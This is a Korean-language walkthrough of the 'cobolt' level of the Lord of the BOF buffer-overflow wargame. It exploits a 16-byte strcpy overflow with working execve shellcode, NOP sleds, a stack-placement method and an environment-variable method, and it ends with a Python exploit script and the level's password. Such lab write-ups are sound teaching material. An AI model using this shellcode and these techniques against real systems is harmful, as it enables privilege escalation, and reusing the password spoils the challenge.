[LOB]Level02. cobolt

 

+ Small Buffer

greamlin / hello bof world


0x01. Static Analysis

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

cobolt의 소스코드를 살펴보자. 앞서 gremlin과 동일하게

argv[1]의 값을 buffer배열로 복사할때 복사되는 크기가 정해져있지 않아 BoF(Buffer OverFlow) 취약점이 존재한다.

하지만 다른점은 buffer배열의 크기가 16바이트라는 점이다.
앞서 사용한 shellcode는 24바이트이기 때문에 해당 shellcode를 buffer배열에 넣지 못한다.

이런 경우 shellcode를 넣을 수 있는 방법 몇가지가 있다.

  1. ret주소 이후 스택공간에 shellcode를 넣는 방법
  2. 환경변수 부분에 shellcode를 넣는 방법
  3. argv[2] 인자에 shellcode를 넣는 방법
  4. 기타 등등..

방법은 연구하기 나름이다.

필자는 1, 2번 방법으로 문제를 풀어 볼 것이다.

  • buffer 배열 크기 16byte
  • strcpy를 이용하여 argv[1] 인자 값을 buffer 배열로 복사

0x02. Dyamic Analysis & Exploit

1) RET 아래 스택 영역 이용

shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

위 그림처럼 buffer배열과 SFP는 쓰레기 값을 넣고, RET에는 RET 다음 주소를 가리키게 한 뒤 해당 공간에 shellcode를 넣는다.


shellcode가 들어가는 주소를 알기 위해 core dump를 만들자.

$ ./aobolt `python -c 'print "A"*16+"BBBB"+"CCCC"+"\x90"*50+"S"*24'`

BBBB는 SFP, CCCC는 RET, ‘\x90’은 NOP슬라이드, S는 쉘코드가 들어갈 공간(24byte)


core dump를 살펴보면 우리가 shellcode를 넣을 공간은 “S”(\x53)가 들어간 공간이다. NOP를 넣은 이유는 NOP Sliding을 이용하여 쉽게 shellcode에 접근하기 위함으로 NOP(\x90)이 있는 주소 아무곳을 RET주소에 넣으면 NOP를 따라 내려가다가 shellcode를 만나 실행하게 된다.

RET주소에 대략 0xbffffa6c 주소 언저리를 넣어주면 될 것 같다.


2) 환경변수 이용

linux 시스템에는 환경변수라는 것이 존재한다. export 명령어를 치면 환경변수들이 나타나게 되는데, 이러한 변수들이 프로그램이 동작할 때 마다 스택에 쌓여 하나의 변수처럼 사용되게 된다.


실제 프로그램이 실행되면 스택 어느 부분에 쌓이게 되는지 알아보자.

$ gdb -q aobolt
(gdb) set disassembly-flavor int
(gdb) b*main
(gdb) r
(gdb) x/32s $ebp+291

cobolt를 복사한 abolt 파일을 기준으로 ebp+281부분부터 보게되면 환경변수들이 스택에 쌓여 있는 것을 볼 수 있다.

스택 위치가 ebp+281이라는 것은 보았을 때, ‘환경변수가 먼저 스택에 쌓이고 프로그램이 실행된다.’는 것을 알 수 있다.

따라서 우리는 이 부분에 shellcode를 올리고, RET에 환경변수 주소를 넣어 shellcode가 실행되도록 해보자.


환경변수를 추가하는 방법은 아래 명령어를 이용하여 추가 할 수 있다.

$ export [변수명]="변수 값"

위 사진처럼 shellcode라는 환경변수를 추가하였으며, 다시 프로그램을 실행하여 정상적으로 스택에 쌓이지는 확인해보자.

$ gdb -q aobolt
(gdb) set disassembly-flavor int
(gdb) b*main
(gdb) r
(gdb) x/32s $ebp+291


환경변수가 추가되어 스택의 주소가 약간 변동이 있지만, 정상적으로 shellcode 환경변수가 스택에 들어가 있음을 알 수 있다.


이제 환경변수가 스택에 쌓이고 프로그램이 실행된다는 개념을 알았으므로 이를 이용하여 exploit을 해보자.

먼저 환경변수에 쉘코드를 넣어보자.

shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
$ export shellcode=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

NOP 50byte와 shellcode를 shellcode 라는 환경변수에 넣었다.


이제 남은것은 해당 환경변수의 주소를 구하는 것이다. 위에 처럼 gdb로 직접 스택의 주소를 확인 하는 방법이 있지만 API를 이용하면 보다 쉽게 주소를 구할 수 있다.

main(){
    printf("addr : 0x%08x\n", getenv("shellcode"));
}
[gremlin@localhost gremlin]$ gcc -o env env.c
[gremlin@localhost gremlin]$ ./env
addr : 0xbfffff3c

shellcode 환경 변수의 주소는 0xbfffff3c이다. (쉽죠잉?😁)

이제 이 주소를 RET에 넣으면 끄읏…

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*16+"BBBB"+"\x3c\xff\xff\xbf"'`
AAAAAAAAAAAAAAAABBBB<���
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed
bash$

0x03. 정리

cobolt 문제는 buffer배열의 크기가 작아 배열 내에 shellcode를 넣는 것이 쉽지 않아 보였다. 때문에 buffer배열이 아닌 스택 영역 공간에 shellcode를 삽입해야 했으며, 그 방법으로 main함수 RET 이후 스택 영역환경변수 영역을 이용하여 문제를 풀었다. 이 외에도 실행가능한 스택영역 어디든 프로그램이 동작하는데에 영향을 주지 않는 곳이라면 모두 가능하다.


import os
import struct

append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)

target = "/home/gremlin/cobolt"

shellcode_env_addr = 0xbfffff3c

payload = "\x90"*20
payload = append(p32(shellcode_env_addr))

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)